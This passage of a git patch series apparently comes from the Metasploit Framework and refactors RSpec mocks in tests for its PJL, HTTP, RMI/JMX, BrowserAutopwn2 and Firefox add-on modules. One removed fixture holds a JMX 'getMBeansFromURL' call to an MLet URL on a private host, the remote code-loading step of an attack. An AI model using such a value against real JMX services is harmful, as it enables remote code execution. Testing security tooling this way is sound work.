"#info_filesys" do it "should return the volumes" do fake_volumes = "[1 TABLE]\r\nDIR\f" - expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_volumes) + allow(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_volumes) expect(cli.info_filesys).to eq('DIR') end end @@ -75,7 +75,7 @@ RSpec.describe Rex::Proto::PJL::Client do context "#get_rdymsg" do it "should return a READY message" do fake_ready_message = 'DISPLAY="RES"' - expect(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_ready_message) + allow(cli).to receive(:info).with(an_instance_of(Symbol)).and_return(fake_ready_message) expect(cli.get_rdymsg).to eq('RES') end end @@ -104,8 +104,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should query a file" do response = "TYPE=FILE SIZE=1337\r\n\f" tmp_sock = double("sock") - expect(tmp_sock).to receive(:put).with(an_instance_of(String)) - expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + allow(tmp_sock).to receive(:put).with(an_instance_of(String)) + allow(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) expect(tmp_cli.fsquery("1:")).to eq(true) end @@ -119,8 +119,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return a LIST directory response" do response = "ENTRY=1\r\nDIR\f" tmp_sock = double("sock") - expect(tmp_sock).to receive(:put).with(an_instance_of(String)) - expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + allow(tmp_sock).to receive(:put).with(an_instance_of(String)) + allow(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) expect(tmp_cli.fsdirlist("1:")).to eq('DIR') end @@ -134,8 +134,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should return a file" do response = "SIZE=1337\r\nFILE\f" tmp_sock = double("sock") - expect(tmp_sock).to receive(:put).with(an_instance_of(String)) - expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + allow(tmp_sock).to receive(:put).with(an_instance_of(String)) + allow(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) expect(tmp_cli.fsupload("1:")).to eq('FILE') end @@ -149,8 +149,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should upload a file" do response = "TYPE=FILE SIZE=1337\r\n\f" tmp_sock = double("sock") - expect(tmp_sock).to receive(:put).with(an_instance_of(String)) - expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + allow(tmp_sock).to receive(:put).with(an_instance_of(String)) + allow(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) expect(tmp_cli.fsdownload("/dev/null", "1:")).to eq(true) end @@ -164,8 +164,8 @@ RSpec.describe Rex::Proto::PJL::Client do it "should delete a file" do response = "FILEERROR=3\r\n\f" tmp_sock = double("sock") - expect(tmp_sock).to receive(:put).with(an_instance_of(String)) - expect(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + allow(tmp_sock).to receive(:put).with(an_instance_of(String)) + allow(tmp_sock).to receive(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) expect(tmp_cli.fsdelete("1:")).to eq(true) end From c46b97cef9799dda9c59fe7f12cd627be907aa97 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:55:59 -0500 Subject: [PATCH 037/103] =~ <Array> -> match_array MSP-13484 --- spec/lib/rex/proto/http/response_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index b6d8a2666c..d27487071b 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -335,7 +335,7 @@ RSpec.describe Rex::Proto::Http::Response do it 'returns 5 cookies when given 5 cookies non-sequentially' do cookies_array = cookie_sanity_check(:get_cookies_test_five_cookies) expect(cookies_array.count).to eq(5) - expect(cookies_array).to =~ %w( + expect(cookies_array).to match_array %w( pma_lang=en pma_collation_connection=utf8_general_ci pma_mcrypt_iv=mF1NmTE64IY%3D From db42c9f760093d6b9f4f512419a540c90646505a Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 15:37:34 -0500 Subject: [PATCH 038/103] Fix service double stubbing MSP-13484 --- spec/lib/msf/core/exploit/http/server_spec.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index ae34fc7297..b3c10e7af7 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -16,11 +16,9 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do end let(:mock_service) do - mock_service = double 'service', - add_resource: nil, - :'server_name' => nil - - mock_service + double 'service', + add_resource: nil, + :'server_name=' => nil end before do From fbddd4cc47409768e5b136380324362e4eda56d7 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Mon, 26 Oct 2015 09:19:45 -0500 Subject: [PATCH 039/103] Fix IO stubbing MSP-13484 --- .../exploit/remote/java/rmi/client_spec.rb | 39 ++++++++++++------- 1 file changed, 26 insertions(+), 13 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb index 55ea3f837d..e696b19364 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb @@ -13,7 +13,13 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do mod end - let(:io) { StringIO.new('', 'w+b') } + let(:io) { + StringIO.new('', 'w+b').tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:protocol_not_supported) { "\x4f" } let(:protocol_not_supported_io) { StringIO.new(protocol_not_supported) } let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" } @@ -38,20 +44,27 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" end - let(:return_io) { StringIO.new(return_data) } + + let(:return_io) { + StringIO.new(return_data).tap { |string_io| + def string_io.get_once + read + end + } + } before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end - - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| - false - end + # allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + # io.write(data) + # end + # + # allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + # io.read + # end + # + # allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + # false + # end end describe "#send_header" do From 164f24ef8a349ca23fa130a12b07936ff67e98f4 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Mon, 26 Oct 2015 09:20:12 -0500 Subject: [PATCH 040/103] Fix stubbing on class instead of instance MSP-13484 --- spec/tools/msu_finder_spec.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index da382cacd9..9b93a5fdf7 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -301,15 +301,15 @@ RSpec.describe MicrosoftPatchFinder do end let(:download_html_res) do - html = %Q| - <html> - <a href="#{expected_link}">Click here</a> - </html> - | - - res = Rex::Proto::Http::Response - allow(res).to receive(:body).and_return(html) - res + Rex::Proto::Http::Response.new.tap { |response| + allow(response).to receive(:body).and_return( + %Q| + <html> + <a href="#{expected_link}">Click here</a> + </html> + | + ) + } end it 'returns an array of links' do From 00ad6afd4f0731207078552dcf276260655b4a2a Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Mon, 26 Oct 2015 09:25:13 -0500 Subject: [PATCH 041/103] Fix typo shoftname -> shortname MSP-13484 --- spec/lib/msf/core/exploit/browser_autopwn2_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb index 0192c6c71f..a8a335a579 100644 --- a/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb @@ -179,7 +179,7 @@ RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do datastores['WORKSPACE'] = workspace allow(p).to receive(:fullname).and_return(fullname) - allow(p).to receive(:shoftname).and_return(shortname) + allow(p).to receive(:shortname).and_return(shortname) allow(p).to receive(:workspace).and_return(workspace) allow(p).to receive(:exploit_simple) From 2d8d876eaad09710070d2a63736a4e0671539cf8 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Thu, 29 Oct 2015 12:40:37 -0500 Subject: [PATCH 042/103] Fix allow errors in BrowserAutopwn2 specs MSP-13484 --- .../msf/core/exploit/browser_autopwn2_spec.rb | 74 +++++++++++++------ 1 file changed, 53 insertions(+), 21 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb index a8a335a579..4efb6884b3 100644 --- a/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb @@ -44,22 +44,16 @@ RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do note end - def mock_stop_job(arg) - framework = double('Msf::Framework', datastore: {}) - jobs = subject.framework.jobs.delete_if {|e| e.first == arg.to_s} - allow(jobs).to receive(:stop_job) { |arg| mock_stop_job(arg) } - allow(framework).to receive(:jobs).and_return(jobs) - allow(subject).to receive(:framework).and_return(framework) - end - def create_fake_job(id) - ctx = double('ctx') - handler = create_fake_windows_meterpreter - allow(ctx).to receive(:first).and_return(handler) - job = [id.to_s, double('job')] - allow(job).to receive(:ctx).and_return(ctx) - - job + instance_double( + Rex::Job, + ctx: double( + 'ctx', + first: create_fake_windows_meterpreter + ), + jid: id, + stop: nil + ) end def create_fake_exploit(opts={}) @@ -75,6 +69,7 @@ RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do mod = Msf::Exploit.new mod.extend(Msf::Exploit::Remote::BrowserExploitServer) + mod.extend(Msf::Simple::Exploit) allow(mod).to receive(:fullname).and_return(full_name) allow(mod).to receive(:rank).and_return(rank) @@ -181,7 +176,6 @@ RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do allow(p).to receive(:fullname).and_return(fullname) allow(p).to receive(:shortname).and_return(shortname) allow(p).to receive(:workspace).and_return(workspace) - allow(p).to receive(:exploit_simple) p end @@ -371,21 +365,56 @@ RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do allow(framework).to receive(:exploits).and_return(exploits) # Prepare jobs - jobs = {'0' => create_fake_job(0)} - allow(jobs).to receive(:stop_job) { |arg| mock_stop_job(arg) } + jobs = instance_double(Rex::JobContainer) + job_by_id = { + '0' => create_fake_job(0) + } + + allow(jobs).to receive(:[]).with('0').and_return(job_by_id['0']) + allow(jobs).to receive(:each) { |&block| + job_by_id.each(&block) + } + allow(jobs).to receive(:empty?) { + job_by_id.empty? + } + allow(jobs).to receive(:length) { + job_by_id.length + } + allow(jobs).to receive(:stop_job) { |job_number| + job_id = job_number.to_s + job = job_by_id[job_id] + + if job + job.stop + + job_by_id.delete(job_id) + end + } + allow(framework).to receive(:jobs).and_return(jobs) # Prepare payloads - payloads = {} + payloads = instance_double(Msf::PayloadSet) + payload_class_by_reference_name = {} + + allow(payloads).to receive(:[]=) do |reference_name, klass| + payload_class_by_reference_name[reference_name] = klass + end + + allow(payloads).to receive(:keys) { + payload_class_by_reference_name.keys + } + available_payloads.each do |p| payloads[p.fullname] = "__SYMBOLIC__" end + allow(payloads).to receive(:create) { |arg| mock_payload_create(arg) } allow(framework).to receive(:payloads).and_return(payloads) allow_any_instance_of(described_class).to receive(:cli).and_return(cli) - allow_any_instance_of(described_class).to receive(:framework).and_return(framework) + allow_any_instance_of(Msf::Exploit).to receive(:framework).and_return(framework) allow_any_instance_of(described_class).to receive(:report_note) { |arg| mock_report_note(arg) } end @@ -435,8 +464,11 @@ RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do end describe '#rm_payload_jobs' do - it 'empties jobs' do + before(:each) do subject.instance_variable_set(:@payload_job_ids, job_ids) + end + + it 'empties jobs' do expect(subject.framework.jobs.length).to eq(1) subject.rm_payload_jobs expect(subject.framework.jobs).to be_empty From 61e1dc2363e2e5c62a02d69cfd36d9772834623d Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Thu, 29 Oct 2015 12:52:20 -0500 Subject: [PATCH 043/103] Fix allows in FirefoxAddonGenerator spec MSP-13484 --- .../remote/firefox_addon_generator_spec.rb | 51 +++++++++++-------- 1 file changed, 29 insertions(+), 22 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb index 88d8515714..cabfe83aa6 100644 --- a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb +++ b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb @@ -2,31 +2,38 @@ require 'spec_helper' require 'msf/core' RSpec.describe Msf::Exploit::Remote::FirefoxAddonGenerator do - let(:datastore) { { 'TARGET' => 0 } } - let(:jar) { double(:pack => '@JAR@', :build_manifest => nil) } - let(:payload) { double(:encoded => '@EXE@', :encoded_jar => jar) } - let(:framework) { double(:nops => nil) } - let(:cli) { double } - - subject(:mod) do - mod = Msf::Exploit::Remote.allocate - mod.extend described_class - mod.extend Msf::Exploit::Remote::BrowserExploitServer - mod.send(:initialize, {}) - - allow(mod).to receive(:datastore).and_return(datastore) - allow(mod).to receive(:framework).and_return(framework) - allow(mod).to receive(:payload).and_return(payload) - allow(mod).to receive(:regenerate_payload).and_return(payload) + subject(:instance) do + klass.new.tap { |instance| + allow(instance).to receive(:datastore).and_return(datastore) + allow(instance).to receive(:framework).and_return(framework) + allow(instance).to receive(:payload).and_return(payload) + allow(instance).to receive(:regenerate_payload).and_return(payload) + } end + let(:cli) { double } + let(:datastore) { { 'TARGET' => 0 } } + let(:framework) { double(:nops => nil) } + let(:jar) { double(:pack => '@JAR@', :build_manifest => nil) } + + let(:klass) { + context_described_class = described_class + + Class.new(Msf::Exploit::Remote) do + include Msf::Exploit::Remote::BrowserExploitServer + include context_described_class + end + } + + let(:payload) { double(:encoded => '@EXE@', :encoded_jar => jar) } + + it { is_expected.to respond_to :generate_addon_xpi } + describe '#generate_addon_xpi' do - let(:xpi) { mod.generate_addon_xpi(cli) } + subject(:xpi) { + instance.generate_addon_xpi(cli) + } - it { is_expected.to respond_to :generate_addon_xpi } - - it 'should return an instance of Rex::Zip::Archive' do - expect(xpi).to be_kind_of Rex::Zip::Archive - end + it { is_expected.to be_a Rex::Zip::Archive } end end From c754dca48bb0abffe93ab537db3ff9a6e8d608d9 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Thu, 29 Oct 2015 13:17:59 -0500 Subject: [PATCH 044/103] fix allows in Exploit::Remote::JAva::Rmi::Client spec MSP-13484 --- .../exploit/remote/java/rmi/client_spec.rb | 148 +++++++++++------- 1 file changed, 89 insertions(+), 59 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb index e696b19364..92de508daf 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb @@ -6,109 +6,139 @@ require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do - subject(:mod) do - mod = ::Msf::Exploit.new - mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client - mod.send(:initialize) - mod - end + subject(:instance) { + klass.new + } + + let(:klass) { + context_described_class = described_class + + Class.new(Msf::Exploit) do + include context_described_class + end + } let(:io) { StringIO.new('', 'w+b').tap do |string_io| + def string_io.get_once + read + end + + def string_io.has_read_data?(_timeout) + !eof? + end + def string_io.put(data) write data end end } - let(:protocol_not_supported) { "\x4f" } - let(:protocol_not_supported_io) { StringIO.new(protocol_not_supported) } - let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" } - let(:protocol_ack_io) { StringIO.new(protocol_ack) } - let(:return_data) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + - "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + - "\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + - "\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" + - "\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" + - "\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" + - "\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + - "\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" + - "\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" + - "\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" + - "\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" + - "\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + - "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" + - "\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" + - "\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" + - "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + - "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + - "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" - end - - let(:return_io) { - StringIO.new(return_data).tap { |string_io| - def string_io.get_once - read - end - } - } - - before(:each) do - # allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - # io.write(data) - # end - # - # allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - # io.read - # end - # - # allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| - # false - # end - end describe "#send_header" do it "returns the number of bytes sent" do - expect(mod.send_header(sock: io)).to eq(13) + expect(instance.send_header(sock: io)).to eq(13) end end describe "#send_call" do it "returns the number of bytes sent" do - expect(mod.send_call(sock: io)).to eq(41) + expect(instance.send_call(sock: io)).to eq(41) end end describe "#send_dgc_ack" do it "returns the number of bytes sent" do - expect(mod.send_dgc_ack(sock: io)).to eq(15) + expect(instance.send_dgc_ack(sock: io)).to eq(15) end end describe "#recv_protocol_ack" do context "when end point returns protocol ack" do + let(:protocol_ack) { + "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" + } + + let(:protocol_ack_io) { + StringIO.new(protocol_ack).tap do |string_io| + def string_io.get_once + read + end + + def string_io.has_read_data?(_timeout) + !eof? + end + end + } + it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do - expect(mod.recv_protocol_ack(sock: protocol_ack_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck) + expect(instance.recv_protocol_ack(sock: protocol_ack_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck) end end context "when end point returns protocol not supported" do + let(:protocol_not_supported) { "\x4f" } + + let(:protocol_not_supported_io) { + StringIO.new(protocol_not_supported).tap do |string_io| + def string_io.get_once + read + end + + def string_io.has_read_data?(_timeout) + !eof? + end + end + } + it "return nil" do - expect(mod.recv_protocol_ack(sock: protocol_not_supported_io)).to be_nil + expect(instance.recv_protocol_ack(sock: protocol_not_supported_io)).to be_nil end end end describe "#recv_return" do context "when end point returns a value to the call" do + let(:return_data) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + + "\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" + + "\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" + + "\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" + + "\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" + + "\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" + + "\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" + + "\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" + + "\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + + "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" + + "\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" + + "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + + "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" + end + + let(:return_io) { + StringIO.new(return_data).tap do |string_io| + def string_io.get_once + read + end + + def string_io.has_read_data?(_timeout) + !eof? + end + end + } + it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.recv_return(sock: return_io)).to be_a(Rex::Proto::Rmi::Model::ReturnValue) + expect(instance.recv_return(sock: return_io)).to be_a(Rex::Proto::Rmi::Model::ReturnValue) end end context "when end point doesn't return a value to the call" do it "returns nil" do - expect(mod.recv_return(sock: io)).to be_nil + expect(instance.recv_return(sock: io)).to be_nil end end end From e3f2db8f095c577db862764d6be348a5250f8403 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Thu, 29 Oct 2015 13:34:07 -0500 Subject: [PATCH 045/103] Fix allows in Exploit::Remote::Java::Rmi::Client::Jmx::Connection MSP-13484 --- .../java/rmi/client/jmx/connection_spec.rb | 204 +++++++++--------- 1 file changed, 107 insertions(+), 97 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 59dae1aa06..75e6e29541 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -8,78 +8,8 @@ require 'stringio' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do - let(:name_get) { 'DefaultDomain:type=MLet' } - - let(:get_object_instance_response) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + - "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + - "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + - "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + - "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + - "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + - "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + - "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + - "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + - "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + - "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + - "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + - "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + - "\x65\x3d\x4d\x4c\x65\x74\x78" - end - let(:name_create) { 'javax.management.loading.MLet' } - let(:create_mbean_response) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + - "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + - "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + - "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + - "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + - "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + - "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + - "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + - "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + - "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + - "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + - "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + - "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + - "\x65\x3d\x4d\x4c\x65\x74\x78" - end - - let(:invoke_args) do - { - object: 'DefaultDomain:type=MLet', - method: 'getMBeansFromURL', - args: { 'java.lang.String' => 'http:///http://192.168.0.3:8080/nH8rSZGf5WkYF/mlet' } - } - end - - let(:invoke_response) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + - "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + - "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + - 